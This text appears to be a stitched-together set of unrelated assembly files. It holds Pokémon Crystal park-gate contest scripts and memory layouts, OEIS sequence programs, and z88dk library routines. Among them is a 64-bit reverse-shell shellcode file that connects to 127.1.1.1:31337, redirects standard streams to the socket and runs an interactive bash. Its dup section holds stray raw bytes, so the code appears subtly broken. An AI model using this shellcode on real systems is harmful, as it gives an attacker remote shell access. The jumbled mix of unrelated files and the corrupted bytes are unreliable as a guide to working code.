.LeaveMonsWithOfficer: readvar VAR_PARTYCOUNT ifless PARTY_LENGTH, .ContinueLeavingMons readvar VAR_BOXSPACE ifequal 0, .BoxFull .ContinueLeavingMons: special CheckFirstMonIsEgg ifequal TRUE, .FirstMonIsEgg writetext Route36NationalParkGateOfficer1AskToUseFirstMonText yesorno iffalse .RefusedToLeaveMons special ContestDropOffMons iftrue .FirstMonIsFainted setevent EVENT_LEFT_MONS_WITH_CONTEST_OFFICER writetext Route36NationalParkGateOfficer1WellHoldYourMonText buttonsound writetext Route36NationalParkGatePlayersMonLeftWithHelperText playsound SFX_GOT_SAFARI_BALLS waitsfx buttonsound sjump .ResumeStartingContest .DecidedNotToJoinContest: writetext Route36NationalParkGateOfficer1TakePartInFutureText waitbutton closetext end .RefusedToLeaveMons: writetext Route36NationalParkGateOfficer1ChooseMonAndComeBackText waitbutton closetext end .FirstMonIsFainted: writetext Route36NationalParkGateOfficer1FirstMonCantBattleText waitbutton closetext end .BoxFull: writetext Route36NationalParkGateOfficer1MakeRoomText waitbutton closetext end .FirstMonIsEgg: writetext Route36NationalParkGateOfficer1EggAsFirstMonText waitbutton closetext end Route36Officer_ContestHasConcluded: checkevent EVENT_CONTEST_OFFICER_HAS_SUN_STONE iftrue .Sunstone checkevent EVENT_CONTEST_OFFICER_HAS_EVERSTONE iftrue .Everstone checkevent EVENT_CONTEST_OFFICER_HAS_GOLD_BERRY iftrue .GoldBerry checkevent EVENT_CONTEST_OFFICER_HAS_BERRY iftrue .Berry writetext Route36NationalParkGateOfficer1ContestIsOverText waitbutton closetext end .Sunstone: writetext Route36NationalParkGateOfficer1HeresThePrizeText buttonsound verbosegiveitem SUN_STONE iffalse .BagFull clearevent EVENT_CONTEST_OFFICER_HAS_SUN_STONE closetext end .Everstone: writetext Route36NationalParkGateOfficer1HeresThePrizeText buttonsound verbosegiveitem EVERSTONE iffalse .BagFull clearevent EVENT_CONTEST_OFFICER_HAS_EVERSTONE closetext end .GoldBerry: writetext Route36NationalParkGateOfficer1HeresThePrizeText buttonsound verbosegiveitem GOLD_BERRY iffalse .BagFull clearevent EVENT_CONTEST_OFFICER_HAS_GOLD_BERRY closetext end .Berry: writetext Route36NationalParkGateOfficer1HeresThePrizeText buttonsound verbosegiveitem BERRY iffalse .BagFull clearevent EVENT_CONTEST_OFFICER_HAS_BERRY closetext end .BagFull: writetext Route36NationalParkGateOfficer1WellHoldPrizeText waitbutton closetext end _ContestNotOn: jumptextfaceplayer Route36NationalParkGateOfficer1SomeMonOnlySeenInParkText Route36NationalParkGateOfficerScript: faceplayer opentext checkflag ENGINE_DAILY_BUG_CONTEST iftrue Route36Officer_ContestHasConcluded writetext Route36NationalParkGateOfficer1SomeMonOnlySeenInParkText waitbutton closetext end Route36ParkGate_DayToText: jumpstd daytotext end BugCatchingContestant1BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant1BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant1BStillCompetingText waitbutton closetext end BugCatchingContestant2BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant2BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant2BStillCompetingText waitbutton closetext end BugCatchingContestant3BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant3BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant3BStillCompetingText waitbutton closetext end BugCatchingContestant4BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant4BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant4BStillCompetingText waitbutton closetext end BugCatchingContestant5BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant5BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant5BStillCompetingText waitbutton closetext end BugCatchingContestant6BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant6BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant6BStillCompetingText waitbutton closetext end BugCatchingContestant7BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant7BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant7BStillCompetingText waitbutton closetext end BugCatchingContestant8BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant8BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant8BStillCompetingText waitbutton closetext end BugCatchingContestant9BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant9BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant9BStillCompetingText waitbutton closetext end BugCatchingContestant10BScript: faceplayer opentext checkevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 iffalse .StillCompeting writetext BugCatchingContestant10BText waitbutton closetext end .StillCompeting: writetext BugCatchingContestant10BStillCompetingText waitbutton closetext end UnusedBugCatchingContestExplanationSign: ; duplicate of BugCatchingContestExplanationSign in Route35NationalParkGate.asm jumptext UnusedBugCatchingContestExplanationText Route36NationalParkGatePlayerWaitWithContestantsMovement: big_step DOWN big_step RIGHT turn_head UP step_end Route36NationalParkGateOfficer1AskToParticipateText: text "Today's @" text_ram wStringBuffer3 text "." line "That means the" para "Bug-Catching Con-" line "test is on today." para "The rules are sim-" line "ple." para "Using one of your" line "#MON, catch a" para "bug #MON to be" line "judged." para "Would you like to" line "give it a try?" done Route36NationalParkGateOfficer1GiveParkBallsText: text "Here are the PARK" line "BALLS for the" cont "Contest." done Route36NationalParkGatePlayerReceivedParkBallsText: text "<PLAYER> received" line "20 PARK BALLS." done Route36NationalParkGateOfficer1ExplainsRulesText: text "The person who" line "gets the strong-" cont "est bug #MON" cont "is the winner." para "You have 20" line "minutes." para "If you run out of" line "PARK BALLS, you're" cont "done." para "You can keep the" line "last #MON you" cont "catch as your own." para "Go out and catch" line "the strongest bug" para "#MON you can" line "find!" done Route36NationalParkGateOfficer1AskToUseFirstMonText: text "Uh-oh…" para "You have more than" line "one #MON." para "You'll have to use" line "@" text_ram wStringBuffer3 text ", the" para "first #MON in" line "your party." para "Is that OK with" line "you?" done Route36NationalParkGateOfficer1WellHoldYourMonText: text "Fine, we'll hold" line "your other #MON" cont "while you compete." done Route36NationalParkGatePlayersMonLeftWithHelperText: text "<PLAYER>'s #MON" line "were left with the" cont "CONTEST HELPER." done Route36NationalParkGateOfficer1ChooseMonAndComeBackText: text "Please choose the" line "#MON to be used" para "in the Contest," line "then come see me." done Route36NationalParkGateOfficer1TakePartInFutureText: text "OK. We hope you'll" line "take part in the" cont "future." done Route36NationalParkGateOfficer1FirstMonCantBattleText: text "Uh-oh…" line "The first #MON" para "in your party" line "can't battle." para "Please switch it" line "with the #MON" para "you want to use," line "then come see me." done Route36NationalParkGateOfficer1MakeRoomText: text "Uh-oh…" line "Both your party" para "and your PC BOX" line "are full." para "You have no room" line "to put the bug" cont "#MON you catch." para "Please make room" line "in your party or" para "your PC BOX, then" line "come see me." done Route36NationalParkGateOfficer1EggAsFirstMonText: text "Uh-oh…" line "You have an EGG as" para "the first #MON" line "in your party." para "Please switch it" line "with the #MON" para "you want to use," line "then come see me." done Route36NationalParkGateOfficer1WantToFinishText: text "You still have @" text_ram wStringBuffer3 text_start line "minute(s) left." para "Do you want to" line "finish now?" done Route36NationalParkGateOfficer1WaitHereForAnnouncementText: text "OK. Please wait" line "here for the" para "announcement of" line "the winners." done Route36NationalParkGateOfficer1OkGoFinishText: text "OK. Please go back" line "outside and finish" cont "up." done Route36NationalParkGateOfficer1ContestIsOverText: text "Today's Contest is" line "over. We hope you" para "will participate" line "in the future." done Route36NationalParkGateOfficer1SomeMonOnlySeenInParkText: text "Some #MON can" line "only be seen in" cont "the PARK." done BugCatchingContestant1BText: text "DON: Wow, you beat" line "me. You're pretty" cont "good." done BugCatchingContestant1BStillCompetingText: text "DON: Luck plays a" line "big part in this." para "You never know" line "what #MON will" cont "appear." done BugCatchingContestant2BText: text "ED: I envy you." line "I just couldn't" cont "do it this time." done BugCatchingContestant2BStillCompetingText: text "ED: Maybe you win" line "with big #MON?" done BugCatchingContestant3BText: text "NICK: Well done!" line "I'm going to raise" cont "my #MON better." done BugCatchingContestant3BStillCompetingText: text "NICK: Maybe you" line "get a higher score" para "for a #MON of" line "an unusual color." done BugCatchingContestant4BText: text "WILLIAM: You're" line "the winner? What" cont "did you catch?" done BugCatchingContestant4BStillCompetingText: text "WILLIAM: Well, I'm" line "satisfied because" para "I caught a #MON" line "that I wanted." done BugCatchingContestant5BText: text "BENNY: Congrats!" line "You have earned my" cont "respect!" done BugCatchingContestant5BStillCompetingText: text "BENNY: I caught a" line "SCYTHER before," cont "but I didn't win." done BugCatchingContestant6BText: text "BARRY: That #-" line "MON you caught…" cont "it's awesome!" done BugCatchingContestant6BStillCompetingText: text "BARRY: It's easier" line "to win if you get" para "a high-level bug" line "#MON." para "But I think they" line "also consider some" cont "other points." done BugCatchingContestant7BText: text "CINDY: You won?" line "That's great!" para "Do you feel like" line "looking for bug" cont "#MON with me?" done BugCatchingContestant7BStillCompetingText: text "CINDY: I really" line "love bug #MON!" done BugCatchingContestant8BText: text "JOSH: I… I can't" line "believe I lost at" cont "bug-catching…" done BugCatchingContestant8BStillCompetingText: text "JOSH: I heard that" line "somebody won with" cont "a CATERPIE!" done BugCatchingContestant9BText: text "SAMUEL: Next time," line "I'm going to win." done BugCatchingContestant9BStillCompetingText: text "SAMUEL: Darn." line "I thought I would" cont "score higher…" done BugCatchingContestant10BText: text "KIPP: Could you" line "give me some tips?" para "I want to study" line "your style." done BugCatchingContestant10BStillCompetingText: text "KIPP: I study a" line "lot, but that's" para "not good enough to" line "win." done UnusedSudowoodoText: ; This text is unused and unreferenced in the final game. ; The tree Pokémon is Sudowoodo. ; The Silph Scope 2 was later reworked into the Squirtbottle. text "I hear there's a" line "#MON that looks" cont "just like a tree." para "You can reveal its" line "identity using a" cont "SILPHSCOPE 2." done UnusedBugCatchingContestExplanationText: ; duplicate of BugCatchingContestExplanationText in Route35NationalParkGate.asm text "The Bug-Catching" line "Contest is held on" para "Tuesday, Thursday" line "and Saturday." para "Not only do you" line "earn a prize just" para "for participating," line "you also get to" para "keep the bug" line "#MON you may" para "have at the end of" line "the contest." done Route36NationalParkGateOfficer1WellHoldPrizeText: text "Uh-oh… Your PACK" line "is full." para "We'll hold on to" line "your prize, but" cont "only for today." para "Please make room," line "then come see me." done Route36NationalParkGateOfficer1HeresThePrizeText: text "<PLAYER>?" para "Here's the prize" line "we were holding" cont "for you." done Route36NationalParkGate_MapEvents: db 0, 0 ; filler db 4 ; warp events warp_event 0, 4, NATIONAL_PARK, 1 warp_event 0, 5, NATIONAL_PARK, 2 warp_event 9, 4, ROUTE_36, 1 warp_event 9, 5, ROUTE_36, 2 db 0 ; coord events db 1 ; bg events bg_event 6, 0, BGEVENT_READ, BugCatchingContestExplanationSign db 12 ; object events object_event 0, 3, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, Route36OfficerScriptContest, EVENT_ROUTE_36_NATIONAL_PARK_GATE_OFFICER_CONTEST_DAY object_event 2, 5, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant1BScript, EVENT_BUG_CATCHING_CONTESTANT_1B object_event 4, 5, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant2BScript, EVENT_BUG_CATCHING_CONTESTANT_2B object_event 2, 6, SPRITE_ROCKER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant3BScript, EVENT_BUG_CATCHING_CONTESTANT_3B object_event 6, 5, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant4BScript, EVENT_BUG_CATCHING_CONTESTANT_4B object_event 2, 7, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant5BScript, EVENT_BUG_CATCHING_CONTESTANT_5B object_event 5, 6, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant6BScript, EVENT_BUG_CATCHING_CONTESTANT_6B object_event 3, 6, SPRITE_LASS, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant7BScript, EVENT_BUG_CATCHING_CONTESTANT_7B object_event 4, 7, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant8BScript, EVENT_BUG_CATCHING_CONTESTANT_8B object_event 6, 7, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant9BScript, EVENT_BUG_CATCHING_CONTESTANT_9B object_event 6, 6, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, BugCatchingContestant10BScript, EVENT_BUG_CATCHING_CONTESTANT_10B object_event 3, 2, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, Route36NationalParkGateOfficerScript, EVENT_ROUTE_36_NATIONAL_PARK_GATE_OFFICER_NOT_CONTEST_DAY
DoClearSaveDialogue: call ClearScreen call RunDefaultPaletteCommand call LoadFontTilePatterns call LoadTextBoxTilePatterns ld hl, ClearSaveDataText call PrintText hlcoord 14, 7 lb bc, 8, 15 ld a, NO_YES_MENU ld [wTwoOptionMenuID], a ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ld a, [wCurrentMenuItem] and a jp z, Init farcall ClearSAV jp Init ClearSaveDataText: text_far _ClearSaveDataText text_end
; A110851: Weight enumerator of [64,63,2] Reed-Muller code RM(5,6). ; 1,2016,635376,74974368,4426165368,151473214816,3284214703056,47855699958816,488526937079580,3601688791018080,19619725782651120,80347448443237920,250649105469666120,601557853127198688,1118770292985239888,1620288010530347424,1832624140942590534,1620288010530347424,1118770292985239888,601557853127198688,250649105469666120,80347448443237920,19619725782651120,3601688791018080,488526937079580,47855699958816,3284214703056,151473214816,4426165368,74974368,635376,2016,1 mul $0,2 mov $1,64 bin $1,$0 mov $0,$1
; A128501: a(n) = lcm{1 <= k <= n, gcd(k, 3) = 1}. ; Submitted by Christian Krause ; 1,1,2,2,4,20,20,140,280,280,280,3080,3080,40040,40040,40040,80080,1361360,1361360,25865840,25865840,25865840,25865840,594914320,594914320,2974571600,2974571600,2974571600,2974571600,86262576400 seq $0,3418 ; Least common multiple (or LCM) of {1, 2, ..., n} for n >= 1, a(0) = 1. lpb $0 dif $0,3 lpe
; A022350: Fibonacci sequence beginning 0, 16. ; 0,16,16,32,48,80,128,208,336,544,880,1424,2304,3728,6032,9760,15792,25552,41344,66896,108240,175136,283376,458512,741888,1200400,1942288,3142688,5084976,8227664,13312640,21540304,34852944,56393248,91246192,147639440,238885632,386525072,625410704,1011935776,1637346480,2649282256,4286628736,6935910992,11222539728,18158450720,29380990448,47539441168,76920431616,124459872784,201380304400,325840177184,527220481584,853060658768,1380281140352,2233341799120,3613622939472,5846964738592,9460587678064,15307552416656,24768140094720,40075692511376,64843832606096,104919525117472,169763357723568,274682882841040,444446240564608,719129123405648,1163575363970256,1882704487375904,3046279851346160,4928984338722064,7975264190068224,12904248528790288,20879512718858512,33783761247648800,54663273966507312,88447035214156112,143110309180663424,231557344394819536,374667653575482960,606224997970302496,980892651545785456,1587117649516087952,2568010301061873408,4155127950577961360,6723138251639834768,10878266202217796128,17601404453857630896,28479670656075427024,46081075109933057920,74560745766008484944,120641820875941542864,195202566641950027808,315844387517891570672,511046954159841598480,826891341677733169152,1337938295837574767632,2164829637515307936784,3502767933352882704416 lpb $0 sub $0,1 add $3,$2 mov $2,$1 mov $1,2 add $1,$3 add $1,6 lpe mul $1,2 mov $0,$1
;-------------------------------- ; ch09-revshell64.nasm ; by Michael Born (@blu3gl0w13) ; Date: 2019 ;------------------------------- global _start section .text _start: ; int socket(int domain, int type, int protocol) xor rax, rax mov al, 41 xor rdi, rdi add dil, 0x2 ; domain = AF_INET xor rsi, rsi add rsi, 0x1 ; type = SOCK_STREAM xor rdx, rdx syscall ; copy sockfd into rdi for later use mov rdi, rax ; AF_INET = 2 ; PORT = 31337 ; IP = 127.1.1.1 ; len = 8 xor rax, rax push rax mov dword [rsp-4], 0x0101017f ;IP = 127.1.1.1 mov word [rsp-6], 0x697a ;PORT = 31337 mov dword [rsp-10], eax ;NULL padding mov byte [rsp-8], 0x2 ;AF_INET sub rsp, 8 ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); xor rax, rax mov al, 42 mov rsi, rsp xor rdx, rdx add rdx, 16 syscall ; redirect socket to stdin, stdout, stderr ; int dup3(int oldfd, int newfd xor rax, rax mov al, 33 xor rsi, rsi db 0x72,0xcb db 0x50 syscall xor rax, rax mov al, 33 inc rsi syscall xor rax, rax mov al, 33 inc rsi syscall ; int execve(const char *filename, char *const argv[], char *const envp[]) xor rax, rax push rax xor rbx, rbx mov rbx, 0x687361622f2f2f2f push rbx mov rbx, 0x6e69622f2f2f2f2f push rbx mov rdi, rsp push rax push word 0x692d mov rsi, rsp push rax push rsi push rdi mov rsi, rsp xor rdx, rdx add rax, 59 syscall
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; ; $Id: w_clga_callee.asm $ ; ;Usage: clga(struct *pixels) SECTION code_graphics PUBLIC clga_callee PUBLIC _clga_callee PUBLIC ASMDISP_CLGA_CALLEE EXTERN w_area EXTERN swapgfxbk EXTERN __graphics_end .clga_callee ._clga_callee pop af pop de pop hl exx ; w_plotpixel and swapgfxbk must not use the alternate registers, no problem with w_line_r pop de pop hl push af ; ret addr exx .asmentry ld a,1 jp w_area DEFC ASMDISP_CLGA_CALLEE = asmentry - clga_callee
; stdio_in_M, read EUI-48 / MAC-48 address in canonical form ; 07.2009 aralbrec PUBLIC stdio_in_capm EXTERN stdio_incommon1, asm_isxdigit, stdio_inexit, stdio_ungetchar EXTERN stdio_getchar, stdio_atou_any_stream ; input %M parameter, read EUI-48 address in pairwise hex notation ; ; enter : ix = FILE * ; b = width ; c = flags [000a*WL0] ; hl = & parameter list ; bc' = total num chars read from stream thus far ; de' = number of conversions done thus far ; on exit : bc' = total num chars read from stream thus far ; de' = number of conversions done thus far ; hl = & parameter list ; carry set if EOF reached ; ; MUST NOT ALTER HL' FOR SSCANF FAMILY .stdio_in_capm call stdio_incommon1 ; leading ws, sign, mac* ret c bit 0,c ; return error if a sign was present jp nz, stdio_inexit push hl ; save & parameter list ; ix = FILE* ; a = first char from stream to interpret ; c = flags [000a*WL0] ; de = mac* ; stack = & parameter list ld b,6 ; read six hex pairs .loop call asm_isxdigit ; is next char a hex digit? jr c, error call stdio_ungetchar ; ungetchar for consumption later push bc push de ld e,16 call stdio_atou_any_stream ; hl = hex byte pop de pop bc jr c, error inc h ; result should be < 256 dec h jr nz, error bit 3,c ; assignment suppression on? jr nz, suppress ld a,l ld (de),a ; write hex byte into mac* inc de djnz nextdigit ; if more to go exx inc de ; one more successful scan conversion exx pop hl ; hl = & parameter list ret ; carry reset indicating no error .suppress djnz nextdigit ; if more to go pop hl ; hl = & parameter list ret ; carry reset indicating no error .nextdigit call stdio_getchar jr c, error cp ':' ; expecting a separator here jr z, separator_present cp '-' jr nz, error .separator_present call stdio_getchar ; peek at next digit jp nc, loop .error pop hl ; hl = & parameter list jp stdio_inexit
; int ungetc(int c, FILE *stream) INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _ungetc EXTERN asm_ungetc _ungetc: pop af pop hl pop ix push hl push hl push af jp asm_ungetc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _ungetc EXTERN _ungetc_unlocked defc _ungetc = _ungetc_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; A160298: Numerator of Hermite(n, 29/30). ; Submitted by Christian Krause ; 1,29,391,-14761,-955919,-1151851,2117414071,64515005759,-4798919156639,-371422676274931,8664364972414951,1922668627437223079,12868783582225461841,-10009215864276466233211,-365549644020036472532969,52457120268360679565773199,3988716584917705897004963521,-262018484969583421860423090691,-38112217938738369346040240565689,1017095408030213006034260058192119,355355230209089235083637598524212401,1151443003791670763117149833473088629,-3324715078365934819409977960883087619209 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $2,28 mul $3,-50 mul $3,$0 add $2,$3 add $2,$1 mul $3,8 lpe mov $0,$1
; A025791: Expansion of 1/((1-x)(1-x^9)(1-x^10)). ; 1,1,1,1,1,1,1,1,1,2,3,3,3,3,3,3,3,3,4,5,6,6,6,6,6,6,6,7,8,9,10,10,10,10,10,10,11,12,13,14,15,15,15,15,15,16,17,18,19,20,21,21,21,21,22,23,24,25,26,27,28,28,28,29 mov $11,$0 mov $13,$0 add $13,1 lpb $13 clr $0,11 mov $0,$11 sub $13,1 sub $0,$13 add $0,3 mov $2,$0 lpb $2 mov $4,3 lpb $4 add $2,6 trn $4,$2 lpe mov $5,8 lpb $5 trn $5,$2 mod $2,9 mul $2,10 lpe cal $4,142 mul $4,40 pow $4,2 lpe mov $1,$4 div $1,1600 add $12,$1 lpe mov $1,$12
INCLUDE "constants.asm" INCLUDE "macros/wram.asm" INCLUDE "vram.asm" SECTION "Stack", WRAM0 wStackBottom:: ds $100 - 1 wStack:: wStackTop:: ds 1 SECTION "Audio RAM", WRAM0 wMusic:: ; nonzero if playing wMusicPlaying:: db ; c100 wChannels:: wChannel1:: channel_struct wChannel1 ; c101 wChannel2:: channel_struct wChannel2 ; c133 wChannel3:: channel_struct wChannel3 ; c165 wChannel4:: channel_struct wChannel4 ; c197 wSFXChannels:: wChannel5:: channel_struct wChannel5 ; c1c9 wChannel6:: channel_struct wChannel6 ; c1fb wChannel7:: channel_struct wChannel7 ; c22d wChannel8:: channel_struct wChannel8 ; c25f ds 1 ; c291 wCurTrackDuty:: db wCurTrackIntensity:: db wCurTrackFrequency:: dw wUnusedBCDNumber:: db ; BCD value, dummied out wCurNoteDuration:: db ; used in MusicE0 and LoadNote wCurMusicByte:: db ; c298 wCurChannel:: db ; c299 wVolume:: ; c29a ; corresponds to rNR50 ; Channel control / ON-OFF / Volume (R/W) ; bit 7 - Vin->SO2 ON/OFF ; bit 6-4 - SO2 output level (volume) (# 0-7) ; bit 3 - Vin->SO1 ON/OFF ; bit 2-0 - SO1 output level (volume) (# 0-7) db wSoundOutput:: ; c29b ; corresponds to rNR51 ; bit 4-7: ch1-4 so2 on/off ; bit 0-3: ch1-4 so1 on/off db wSoundInput:: ; c29c ; corresponds to rNR52 ; bit 7: global on/off ; bit 0: ch1 on/off ; bit 1: ch2 on/off ; bit 2: ch3 on/off ; bit 3: ch4 on/off db wMusicID:: dw ; c29d wMusicBank:: db ; c29f wNoiseSampleAddress:: dw ; c2a0 wNoiseSampleDelay:: db ; c2a2 ds 1 ; c2a3 wMusicNoiseSampleSet:: db ; c2a4 wSFXNoiseSampleSet:: db ; c2a5 wLowHealthAlarm:: ; c2a6 ; bit 7: on/off ; bit 4: pitch ; bit 0-3: counter db wMusicFade:: ; c2a7 ; fades volume over x frames ; bit 7: fade in/out ; bit 0-5: number of frames for each volume level ; $00 = none (default) db wMusicFadeCount:: db ; c2a8 wMusicFadeID:: dw ; c2a9 ds 5 wCryPitch:: dw ; c2b0 wCryLength:: dw ; c2b2 wLastVolume:: db ; c2b4 wUnusedMusicF9Flag:: db ; c2b5 wSFXPriority:: ; c2b6 ; if nonzero, turn off music when playing sfx db ds 1 wChannel1JumpCondition:: db wChannel2JumpCondition:: db wChannel3JumpCondition:: db wChannel4JumpCondition:: db wStereoPanningMask:: db ; c2bc wCryTracks:: ; c2bd ; plays only in left or right track depending on what side the monster is on ; both tracks active outside of battle db wSFXDuration:: db wCurSFX:: ; c2bf ; id of sfx currently playing db wChannelsEnd:: wMapMusic:: db ; c2c0 wDontPlayMapMusicOnReload:: db wMusicEnd:: SECTION "WRAM", WRAM0 wLZAddress:: dw ; c2c2 wLZBank:: db ; c2c4 ds 1 wBoxAlignment:: db wInputType:: db ; c2c7 wAutoInputAddress:: dw ; c2c8 wAutoInputBank:: db ; c2ca wAutoInputLength:: db ; c2cb wDebugFlags:: db wGameLogicPaused:: db ; c2cd wSpriteUpdatesEnabled:: db wUnusedScriptByteBuffer:: db wMapTimeOfDay:: db ds 3 wPrinterConnectionOpen:: db wPrinterOpcode:: db wPrevDexEntry:: db wDisableTextAcceleration:: db wPrevLandmark:: db wCurLandmark:: db wLandmarkSignTimer:: dw wLinkMode:: ; a LINK_* value for the link type db ; c2dc wScriptVar:: db ; c2dd wPlayerNextMovement:: db wPlayerMovement:: db ds 2 wc2e2:: wMovementObject:: db wMovementDataBank:: db wMovementDataAddress:: dw wc2e6:: ds 4 wMovementByteWasControlSwitch:: db wMovementPointer:: dw ; c2eb ds 3 wTempObjectCopyMapObjectIndex:: db ; c2f0 wTempObjectCopySprite:: db ; c2f1 wTempObjectCopySpriteVTile:: db ; c2f2 wTempObjectCopyPalette:: db ; c2f3 wTempObjectCopyMovement:: db ; c2f4 wTempObjectCopyRange:: db ; c2f5 wTempObjectCopyX:: db ; c2f6 wTempObjectCopyY:: db ; c2f7 wTempObjectCopyRadius:: db ; c2f8 ds 1 wTileDown:: db ; c2fa wTileUp:: db ; c2fb wTileLeft:: db ; c2fc wTileRight:: db ; c2fd wTilePermissions:: ; c2fe ; set if tile behavior prevents ; you from walking in that direction ; bit 3: down ; bit 2: up ; bit 1: left ; bit 0: right db ds 1 SECTION "wSpriteAnims", WRAM0 UNION ; c300 ; wSpriteAnimDict is a 10x2 dictionary ; keys: taken from third column of SpriteAnimSeqData ; values: vTiles wSpriteAnimDict:: ds 10 * 2 wSpriteAnimationStructs:: ; field 0: index ; fields 1-3: loaded from SpriteAnimSeqData wSpriteAnim1:: sprite_anim_struct wSpriteAnim1 wSpriteAnim2:: sprite_anim_struct wSpriteAnim2 wSpriteAnim3:: sprite_anim_struct wSpriteAnim3 wSpriteAnim4:: sprite_anim_struct wSpriteAnim4 wSpriteAnim5:: sprite_anim_struct wSpriteAnim5 wSpriteAnim6:: sprite_anim_struct wSpriteAnim6 wSpriteAnim7:: sprite_anim_struct wSpriteAnim7 wSpriteAnim8:: sprite_anim_struct wSpriteAnim8 wSpriteAnim9:: sprite_anim_struct wSpriteAnim9 wSpriteAnim10:: sprite_anim_struct wSpriteAnim10 wSpriteAnimationStructsEnd:: NEXTU ; c300 ; mobile data wc300:: ds 1 wc301:: ds 1 wc302:: ds 1 wc303:: ds 2 wc305:: ds 1 wc306:: ds 1 wc307:: ds 1 wc308:: ds 1 wc309:: ds 1 wc30a:: ds 1 wc30b:: ds 1 wc30c:: ds 1 wc30d:: ds 1 wc30e:: ds 1 wc30f:: ds 1 wc310:: ds 1 wc311:: ds 1 wc312:: ds 1 wc313:: ds 1 wc314:: ds 152 wc3ac:: ds 8 ENDU ; c3b4 wSpriteAnimCount:: db wCurSpriteOAMAddr:: db wCurIcon:: db ; c3b6 wCurIconTile:: db wSpriteAnimAddrBackup:: wSpriteAnimIDBuffer:: wCurSpriteOAMFlags:: dw wCurAnimVTile:: db wCurAnimXCoord:: db wCurAnimYCoord:: db wCurAnimXOffset:: db wCurAnimYOffset:: db wGlobalAnimYOffset:: db wGlobalAnimXOffset:: db wSpriteAnimsEnd:: ds 11 ; mobile data wc3cc:: ds 1 wc3cd:: ds 31 wc3ec:: ds 1 wc3ed:: ds 1 wc3ee:: ds 1 wc3ef:: ds 1 wc3f0:: ds 1 wc3f1:: ds 1 wc3f2:: ds 1 wc3f3:: ds 1 wc3f4:: ds 1 wc3f5:: ds 1 wc3f6:: ds 1 wc3f7:: ds 1 wc3f8:: ds 1 wc3f9:: ds 1 wc3fa:: ds 1 wc3fb:: ds 1 wc3fc:: ds 1 ds 3 SECTION "Sprites", WRAM0 wVirtualOAM:: ; c400 wVirtualOAMSprite00:: sprite_oam_struct wVirtualOAMSprite00 